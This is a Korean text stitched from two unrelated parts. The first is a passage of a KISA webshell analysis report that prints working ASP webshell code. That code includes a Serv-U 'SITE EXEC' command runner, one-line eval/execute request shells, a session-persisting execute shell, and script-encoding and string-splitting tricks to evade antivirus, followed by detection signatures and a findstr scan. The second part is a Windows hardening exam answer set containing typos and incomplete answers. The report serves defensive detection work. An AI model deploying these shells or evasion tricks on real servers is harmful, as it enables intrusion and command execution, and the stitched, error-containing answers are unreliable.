set a=Server.CreateObject(“Microsoft.XMLHTTP”) a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “” a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain & newuser & quit set session(“a”)=a set b=Server.CreateObject(“Microsoft.XMLHTTP”) b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “” b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit set session(“b”)=b |
나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.
http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx
Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.
SCRENC [switches] inputfile outputfile
일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.
일반 소스 |
인코딩 소스 |
<SCRIPT language=”VBScript”> <% This is test %> </SCRIPT> |
<%@ LANGUAGE = VBScript.Encode %> <SCRIPT language=”VBScript”> <%#@~^FAAAAA==@#@&K4b/,k/,Y dY @#@&ogQAAA==^#~@%> </SCRIPT> |
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.
- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.
eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>
■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>
■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.
<SCRIPT language=”vbscript” runat="”server”"> If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”) If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”)) </SCRIPT> |
라. 기타
■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.
- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)
■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.
가. 웹쉘 시그니쳐를 이용한 파일 검색
■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.
- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등
cmd\.exe |
Wscript\.Shell | Shell\.Application | VBScript\.Encode | gb2312 |
execute *\(? *session | execute *\(? *request | eval *\(? *request | \.run.*> | \.exec *\( |
webshell | lake2 | hack520 | lcxMarcos | Marcos |
■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.
findstr /i /r /s /g:asp.sig *.asp
- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색
※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.
■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.
ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell
인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.
Action=MainMenu Action=Show1File Action=EditFile Action=DbManager Action=getTerminalInfo Action=ServerInfo Action=Servu Action=kmuma Action=kmuma&act=scan Action=Cplgm&M=2 Action=plgm Action=PageAddToMdb > Action=ReadREG Action=ScanPort Action=Cmd1Shell Action=UpFile (pageName|id|list|action|act)=ServiceList (pageName|id|list|action|act)=ServiceList (pageName|id|list|action|act)=infoAboutSrv (pageName|id|list|action|act)=objOnSrv (pageName|id|list|action|act)=userList (pageName|id|list|action|act)=WsCmdRun (pageName|id|list|action|act)=SaCmdRun (pageName|id|list|action|act)=SaCmdRun&theAct (pageName|id|list|action|act)=FsoFileExplorer (pageName|id|list|action|act)=FsoFileExplorer&theAct (pageName|id|list|action|act)=FsoFileExplorer&thePath pageName=MsDataBase pageName=MsDataBase&theAct=showTables pageName=TxtSearcher pageName=OtherTools act=scan Action=mainwin action=listtb action=listvw action=listdb action=execsql action=dbsrcbox action=searchfile action=xpcmdshell (action|act)=cmdshell action=mainmenu action=showfile action=editfile action=course action=serverinfo action=upfile action=dbmanager ex=edit&pth= PageName=PageUpload&theAct PageName=PageWebProxy&url= productName=HigroupASPAdmin PageWebProxy aCTiON=cMd aCTiON=ClonETiMe&SrC= aCTiON=SqLrOotKIt aCTiON=Reg aCTiON=DAtA aCTiON=Goto&SrC=C:\ aCTiON=uPFIlE&SrC= aCTiON=NEw&SrC= act=info act=filemanage act=edit&src= act=del&src= act=rename&src= DirName= Type=.*FileName=.*\ Type=.*ok=dir FsoFileExplorer WsCmdRun SaCmdRun MsDataBase HigroupASPAdmin =cmd ClonETiMe SqLrOotKIt |
4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.
[자료: 한국정보보호진흥원(KISA)]
윈도우 2000 서버를 FTP 서비스로 사용하기 위해 새로 설치하였다.
"ftp_user" 라는 사용자를 아래와 같은 정책으로 구성하여라.
1. 기호 및 숫자, 알파벳을 조합한 최소 암호길이를 7자리 이상으로 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "암호는 복잡성을 만조해야함"을 "사용"으로 설정
"최소 암호 길이" "7"로 설정
2. 패스워드 재 사용 금지를 위해 이전 패스워드 3개를 기억할 수 있도록
설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최근 암호 기억"을 "3"으로 설정
3. 패스워드 유출 사고를 대비하여 31일마다 패스워드를
재설정 하도록 하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최대 암호 사용 기간"을 "30"으로 설정
4. 사전 대입 공격을 차단하기 위해 5번의 로그인 실패 시 30분간
잠금 정책을 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>계정 잠금 정책"에
정책에서 "계정 잠금 임계값"을 "5"로 설정한다.
//임계값을 설정하면 자동으로 계정 잠금 기간이 30으로 설정 된다.
5. 위 정책을 보안 템플릿 파일 형태로 작성하여라.
(저장 파일명: C:\Usrmply.inf)
=> 저장
6. `net`명령어를 이용하여 위에서 설정된 결과값을 저장하여라.
(저장 파일명: C:\Usrmply.txt)
=> C 드라이드 root로 이동후에
net accounts > Usrmply.txt
2.사용자 권한 할당
1. 하위 윈도우 버전(NT3.5, Windows 98등)과
텍스트 암호 통신을 하는 LM인증을 사용하지 않도록
윈도우 2000 서버의 인증 보안을 강화시켜라(NTLMv2사용).
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에 "네트워크 보안:LAN Manager 인증 수준"을
"NTLMv2 응답만 보냄\LM 거부"로 설정
2. 일반 사용자가 시스템에 직접 로컬 로그온 하여 악의적인 코드를
다운로드하고 실행하여 사용자 권한을 변경 할 수 있는 위험을 없애기 위해
허가된 관리자 그룹(Administrators)을 제외한 모든 그룹에 대하여
로컬 로그온을 하지 못하도록 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>사용자 권한 할당"에서
정책중 "로컬로 로그온"을 Administrator만 남기고 모두 삭제
3. Windows XP컴퓨터에서 네트워크를 통해 Windows 2000 도메인 컨트롤러
공유자원에 접근하기 위해 SMB통신을 하려고 한다.
IPSec을 사용하지 않고 공격자의 세션 가로채기 공격을 방어할 수 있는
SMB 서명 인증 통신 방법을 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에
"Microsoft 네트워크 서버 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 서버 : 디지털 서명 통신 (항상)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (항상)"
위에 4개 정책을 모두 "사용"으로 설정한다.
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)" 정책은
기본으로 사용으로 되어있는 경우도 있음.
3.익명 보안 옵션Windows 2000
※ 주의 : 문제서버를 Windows 2000 Server로 간주하고 문제를 해결하시오.
1. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>실행>regedit
[경고 문서 생성]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에
"LegalNoticeCaption" (제목)
"LegalNoticetext" (내용) 에 각각 해당 사항 입력
[마지막으로 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에서
오른쪽클릭>새로만들기> DWORD 값
이름 : DontDisplayLastUserName
값 데이터 : 0x1(16진수)
2. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
익명 접근을 제한하라
=>
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" 에
이름: RestrictAnonymous 에 값을 0x2(16진수) 로 변경
3. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt`파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt
[현재 실행 중인 기본 공유 제거]
net share c$ /delete
net sharee admin$ /delete
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
[기본 공유 제거 - XP / 2003]
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
- Value name : AutoShareServer
- Data Type : DWORD
- Value : 0(zero)
[기본 공유 제거 - 2000]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
- Value name : AutoShareWks
- Data Type : DWORD
- Value : 0(zero)
===> 문제에서는 윈도우 2000 서버로 생각하고 풀어라고 했는데, 윈도우 2000 서버의 기본 공유 제거
방법이 먹히지 않음 (문제를 잘못 낸듯)
XP/2003에서의 기본 공유 제거 방법으로 해야 문제가 풀립니다.
4.익명 보안 옵션Windows XP
(3번문제과 연결된 문제)
4. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>
[경고 문구 입력]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
LegalNoticeCaption (제목)
LegalNoticetext (내용) 에 각각 해당 사항 입력
[마지막 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
"dontdisplaylastusername" 을 "1"로 설정
5. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
아래와 같이 익명 접근을 제한하여라.
A. 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한"을 사용으로 변경
B. SAM 계정의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정과 공유의 익명 열거 허용 안 함 "을 사용으로 변경
C. SAM 계정과 공유의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정의 익명 열거 허용 안 함 "을 사용으로 변경
6. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt` 파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt
[현재 실행 중인 기본 공유 제거]
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
net share c$ /delete
net sharee admin$ /delete
[기본 공유 제거 - XP / 2003]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
- Value name : AutoShareServer
- Data Type : DWORD
- Value : 0(zero)
5.관리자 계정 보안
1. 현재 관리자 sid값은 무엇인가?
=>
실행(ctrl+r) > cmd
c:\>user2sid administrator
S-1-5-21-796845957-412668190-839522115-500
Number of subauthorities is 5
Domain is KISA-1
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
c:\>getsid \\kisa-1 administrator \\kisa-1 administrator
The SID for account KISA-1\administrator matches account KISA-1\administrator
The SID for account KISA-1\administrator is S-1-5-21-796845957-412668190-839522115-500
2. 관리자 이름을 `eent123x`로 변경하여라. 변경 이후 관리자 sid값은 무엇인가?
=>
[관리자 이름 변경]
"로컬 보안 설정>로컬 정책 > 보안 옵션" 에 정책중
"계정 : Administrator 계정 이름 바꾸기" 값을 eent123x로 변경한다.
[변경 이후 관리자 sid 값]
1번 같은 방법으로..
3. 가짜 Administrator 계정을 만들고 guest 그룹으로 등록하여라.
=> "제어판 > 관리도구 > 컴퓨터 관리"에
"로컬 사용자 및 그룹 > 사용자"에서
"오른쪽 클릭 > 새 사용자"클릭 이름을 Administrator로 정하고 확인
목록에서 Administrator 우클릭> 속성에 "소속 그룹" 탭에서
"추가" 클릭> 그룹선택에서 "고급" 클릭
"지금 찾기"클릭후 목록에서 Guest 계정 클릭하고 확인
기존에 등록되어있던 소속 그룹은 삭제한다.
4. 패스워드 크랙 방지를 위해 SAM 데이터 베이스를 128bit로 암호화 시켜라.
=> 실행>cmd
c:>syskey
Windows XP 계정 테이터베이스 보안
암호화 사용> 확인
6.패치 및 업데이트 관리
※ 주의 : MBSA(Microsoft Baseline Security Analyzer)를 이용하여 해결하시오.
1. 현재 시스템에서 업데이트가 이루어지지 않았거나 잘못된 업데이트는
모두 몇 개 인가?
=> C:\Program Files\Microsoft Baseline Security Analyzer\mbsa를 실행한다.
17개
2. 현재 시스템에서 나타난 취약점은 모두 몇 개 인가?
0개
7.Windows XP 폴더 보안
Windows XP Professional을 사용하는 중소기업에서 개인 공유 폴더에 대한 보안을
아래와 같이 설정하려고 한다.
1. `4분기영업자료` 공유 폴더를 share_user 라는 사용자만 네트워크를 통해
읽기 가능하도록 설정하여라.
=> 해당 폴더 우클릭 > "공유 및 보안" 클릭
공유설정 확인한다.
사용자 제한설정이 나오지 않는다면 탐색기>도구>폴더 옵션 "보기"탭에서
"모든 사용자에게 동일한 폴더 공유 건한을 지정"에 체크를 해제한다.
"사용권한" 클릭 > "추가" 클릭 > "고급" 클릭 > "지금 찾기" 클릭
share_user 를 찾아서 확인
기존에 등록된 그룹또는 사용자는 삭제한다.
2. `4분기영업자료` 폴더에 접근할 사내 직원은 10명이 넘지 않으므로 10명만
동시 접속이 가능하도록 설정하여라
=>
"공유 및 보안"에서 사용자 제한> "허용 인원"을 10으로 설정
8.터미널 서비스 보안
1. `ftp_user` 계정만 터미널 서비스에 로그온 할 수 있도록 설정하여라.
=> "실행" > "compmgmt.msc"(컴퓨터관리)
"시스템 도구" > "로컬 사용자 및 그룹" > "사용자" > "ftp_user"추가
내 컴퓨터 > 속성 > "원격"탭에서 원격데스크톱에 사용자 추가 ftp_user
2. 기본적인 터미널 서비스 포트 3389/tcp를 3147포트로 변경하여라.
아래 레지스트리 경로로 이동하여 터미널 서비스 접속 포트를 변경 하여 준다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 에서 Port number 수정
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 에서 Port number 수정
10진수를 선택하고 3147을 넣어주면 된다.
9.레지스트리 보안
웜이 시스템 시작 시 레지스트리로부터 실행되는 것을 막기 위해 자동 실행관련
레지스트리 키를 찾아 관리자 그룹(administrators), 시스템 그룹(SYSTEM)만
접근 가능하도록 설정하였다.
1. 바이러스 웜 및 악성 프로그램이 시스템에 설치되었는지 감사하고자 한다.
자동 실행 관련 레지스트리 키의 `값 설정`, `삭제`, `하위 키 추가 성공`,
`연결 만들기` 이벤트 발생시 감사로그가 남도록 설정하여라.
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices, RunServicesOnce
2. 패스워드 무작위 대입 공격이나 바이러스 웜 감염을 막기 위해 원격에서
레지스트리 조작을 허용하지 않도록 설정하여라
=> 실행 > services.msc
"Remote Registry" 항목 "사용 안함"으로 설정
10.전자 메일 보안
1. 바이러스 가능성이 있는 첨부파일을 저장하거나 열 수 없도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
"보안"탭에 "바이러스 가능성이 있는 첨부 파일을 저장하거나 열 수 없음" 체크
2. 다른 응용 프로그램에서 나를 발신인으로 하는 메일을 보낼 때 경고하도록
설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
"보안"탭에 "다른 응용 프로그램에서 나를 발신인으로 하는 메일 보낼 때 경고" 체크
3. 선정적인 HTML이나 악성 HTML, 스파이웨어 등으로부터 컴퓨터를 보호하기 위해
수신된 모든 전자메일을 평문(Text)으로 읽을 수 있도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
"읽기" 탭에 "일반 텍스트로 모든 메시지 읽기" 체크
4. 제목이 `[광고], (광고), [광 고], (광 고)`로 표기된 메일을 모두
`광고메일` 함으로 이동시키는 필터 규칙을 만들고 적용하여라.
(단, 규칙 이름은 `광고메일` 로 지정한다.)
=> "도구" > "메세지 규칙" > "메일" 클릭
1. 규칙의 조건 선택 에서 "제목란에 특정 단어 포함" 선택
2. 규칙의 동작 선택 에서 "지정된 폴더로 이동" 선택
3. 규칙 설명에서 특정단어와 지정된 폴더 클릭으로 들어가서 선택
4. 규칙 이름에 "광고메일" 입력
5. 제품 등록 키를 PGP로 암호화하여 수신된 E-Mail이 있다.(개인키 : kisa12#$)
전자메일 메시지 내의 제품 정식 등록 키 값은 무엇인가?
=> 메일 전체 복사
트레이아이콘(자물쇠) 클릭 > "clipboard" > decrypt & verify
"개인 키"에 kisa12#$를 입력 확인
제품 등록키 123-24-12345
11.파일 및 폴더 암호화
1. 기밀 파일을 담고 있는 `C:\Documents and Settings\kisa\My Documents`
폴더를 EFS를 사용하여 암호화 하고자 한다. 아래와 같이 설정하여라.
▶ 다른 계정으로 로그온 한 사용자가 접근하지 못하도록 제한하여라.
▶ 현재 폴더 및 하위 폴더에 모두 적용되도록 설정하여라.
[EFS 암호화]
해당 폴더 우클릭 > 속성 > "일반"탭 에서 "고급" 클릭
"보관 가능" 체크
"데이터 보호를 위해 내용을 암호화" 체크 후에 확인
현재 폴더 및 하위 폴더 적용 체크 후 다시 확인
2. `C:\EfsShare`에 EFS로 암호화되어 저장된 파일(sis.txt)을
`sis_admin` 사용자도 읽기 가능하도록 설정하여라.
=>
폴더로 이동하여 sis.txt 라는 파일을 새로 만든다.
1번과 동일하게 암호화 해준다.
c:\EFShare안에 sis.txt 파일을 만들고 똑같이 EFS로 암호화 하되 자세히를 눌러 접근 가능한 사용자를 추가해 준다.
자세히가 클릭이 안될경우
속성에 "보안" 탭에 sis_admin 사용자를 추가 한다.
3. 패스워드 분실 및 계정 삭제, 디스크 포맷등과 같은 만일의 사태에 대비하여
암호화한 파일 및 폴더를 복구 할 수 있도록 인증서를 백업(C:\EFSBackup.cer)하여라
=> "실행" > mmc > 파일 > 스냅입 추가/제거
인증서를 추가 한다.
인증서에서 "신뢰된 사용자" > "인증서"에서
"sis_admin" 우클릭 > 모든작업 > 내보내기
12.인터넷 익스플로어 보안
1. 공용 컴퓨터에서 인터넷 뱅킹 뿐만 아니라 사적인
컴퓨팅 활동을 보호 하려고 한다. 웹 사이트에서 입력된 사이트 주소,
사용자 ID 및 패스워드를 저장 시키지 않기 위한 옵션과 최근 방문했던
모든 사이트의 주소를 삭제하여라.
=> 익스플로러 > 속성 > "일반" 탭에서 쿠키 및 임시파일
인터넷 접속 목록을 모두 삭제 한다.
[사용자 ID 및 패스워드를 저장 시키지 않기]
익스플로러 > 속성 > "내용" > "자동 완성" 클릭
자동완성 대상을 모두 체크를 해제 한다.
2. 개인 보호 정책이 없는 제 3사 사이트로부터 쿠키를 차단 시키고,
제 1사 쿠키만을 허용하도록 쿠키 보안을 설정하여라.
=> 익스플로러 > 속성 > "개인 정보" 탭에서 "고급" 클릭
제 1사 쿠키 는 "적용"
제 3사 쿠키 는 "차단" 으로 적용한다.
13.DoS공격 방어
아래와 같이 웹 서버가 초당 1000개 이상의 SYN 패킷을 받고 있었다.
앞으로 이런 유형의 공격을(DoS) 방어하기 위한 레지스트리 값을 설정하여라.
C:>netstat -na | findstr ` SYN_RECEIVED`
TCP 211.241.82.71:80 6.55.194.236:51370 SYN_RECEIVED
TCP 211.241.82.71:80 16.192.252.18:22452 SYN_RECEIVED
TCP 211.241.82.71:80 49.5.243.221:52363 SYN_RECEIVED
TCP 211.241.82.71:80 50.145.99.80:46108 SYN_RECEIVED
TCP 211.241.82.71:80 51.53.109.147:28308 SYN_RECEIVED
TCP 211.241.82.71:80 61.58.85.212:52375 SYN_RECEIVED
TCP 211.241.82.71:80 63.33.85.135:32111 SYN_RECEIVED
TCP 211.241.82.71:80 67.206.19.195:28501 SYN_RECEIVED
TCP 211.241.82.71:80 68.79.239.155:42810 SYN_RECEIVED
TCP 211.241.82.71:80 221.29.79.118:36387 SYN_RECEIVED
=>서비스 거부 공격을 원천적으로 막을 수 있는 방법은 아직 없지만
윈도우는 TCP/IP 스택을 강화하면 일부 정도는 막을수 있다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tcpip\parameters " 에
다음과 같은 항목을 추가한다.
name hex값(10진)
EnableICMPRedirect 0
SynattackProtect 2
TcpMaxHalfOpen 64(100)
TcpMaxHalfOpenRetried 64(100)
EnableDeadGWDetect 0
EnablePMTUDiscovery 0
KeepAliveTime 493e0(300000)
DisableIPSourceRouting 2
TcpMaxConnectResponseRetransmissions 2
TcpMaxDataRetransmissions 3
PerformRouterDiscovery 0
TcpMaxPortsExhausted 5
NoNameReleaseOnDemand 1
14.IPSec 보안
1. 외부의 특정 네트워크 대역으로부터 SMB Login Burst Force 공격이
지속적으로 발생되고 있다.
해당 네트워크 대역으로부터 서버를 보호하기 위한 IPSec 환경을 구성하여라.
(단, 보안정책 이름은 CIFS_DCOM Deny 로 지정한다.)
=> 로컬 보안 설정 > "로컬 컴퓨터의 IP 보안 정책"에
새 정책을 "CIFS_DCOM Deny"로 등록 한다.
2. 다른 서버에서도 적용 가능하도록 정책을 저장하여라[C:\Default_Care.ipsec].
내보내기로 저장
15.TCP/IP 필터링
1. 공개적인 웹 서비스를 구축하기 위해 TCP/IP 필터링을
사용하여 아래와 같이 구성하여라.
▶ 재시작 후에 웹 서비스 포트(80/TCP, 443/TCP)만 접근 가능하도록 설정하여라.
=> 네트워크 연결 > 로컬 네트워크 속성 > 인터넷 프로토콜 속성 >
"고급" 클릭 > 고급 tcp/ip 설정에 "옵션" 탭에 > 속성
TCP/IP 필터링 사용(모든 어댑터) 체크
다음만 허용 체크후에 포트 추가
tcp -> 80, 443
udp -> 없음.
ip -> 6
ip에 6번을 추가하는 이유
Decimal Keyword Protocol
======= ======= ==============
0 HOPOPT IPv6 Hop-by-Hop Option
1 ICMP Internet Control Message
2 IGMP Internet Group Management
3 GGP Gateway-to-Gateway
4 IP IP in IP (encapsulation)
5 ST Stream
6 TCP Transmission Control
7 CBT CBT
8 EGP Exterior Gateway Protocol
9 IGP any private interior gateway
(used by Cisco for their IGRP)
2. IPSec을 사용하여 아래와 같이 구성하여라.
▶ 웹 서버가 Ping에 응답되지 않도록 설정하여라.
(단, 보안정책 이름은 ICMP_ECHO Deny 로 지정한다.)
=>
머리속에 있음.
16.인터넷 연결 방화벽ICF
Windows XP에서 외부 공격을 효율적으로 차단하기 위해
ICF(Internet Connection Firewall)을 사용 하기로 하였다.
아래와 같이 구성하여라.
1. 211.241.82.71에서만 원격 데스크톱 서비스에 접근 가능하도록 설정하여라.
2. 원격 데스크톱 서비스에 접근 성공한 로그를 남기도록 설정하여라.
3. ping 요청에 응답하지 않도록 설정하여라.
17.이벤트 로그 분석
